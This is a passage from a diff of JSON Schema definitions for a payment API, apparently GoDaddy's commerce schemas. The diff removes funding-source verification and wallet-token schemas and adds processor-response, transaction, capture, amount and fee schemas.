type" - } + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territory": { - "type": "string", - "description": "Territory" + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territoryType": { - "type": "string", + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "title": "Address Verification Status", + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" }, - "cryptogram": { + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" }, - "territory": { - "type": "string", - "description": "Territory" + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" }, - "territoryType": { - "type": "string", + "cvResult": { + "description": "CVV verification result", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "readOnly": true, + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "processorType": { + "type": "string" } }, "required": [ - "type" - ] + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "readOnly": true, + "type": "array" + }, + "captures": { + "description": "Captures for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", + "description": "Represents transaction against a payment", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "cardPinKeySerialNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cvSkipReason": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "x-currency-type": true, + "x-custom-type": true }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", + "description": "Tip amount details", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" }, - "line2": { - "type": "string", - "description": "Address line 2" + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territory": { - "type": "string", - "description": "Territory" + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territoryType": { - "type": "string", + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "title": "Address Verification Status", + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" }, - "cryptogram": { + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" }, - "territory": { - "type": "string", - "description": "Territory" + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" }, - "territoryType": { - "type": "string", + "cvResult": { + "description": "CVV verification result", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "readOnly": true, + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "processorType": { + "type": "string" } }, "required": [ - "type" - ] + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } ], + "description": "Represents capture transaction against a payment", "properties": { - "token": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", "type": "string", - "description": "Paypal token", - "writeOnly": true + "x-custom-id": true, + "x-custom-type": true } }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" }, - "required": [ - "sourceType" - ] - }, - "paymentContext": { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": 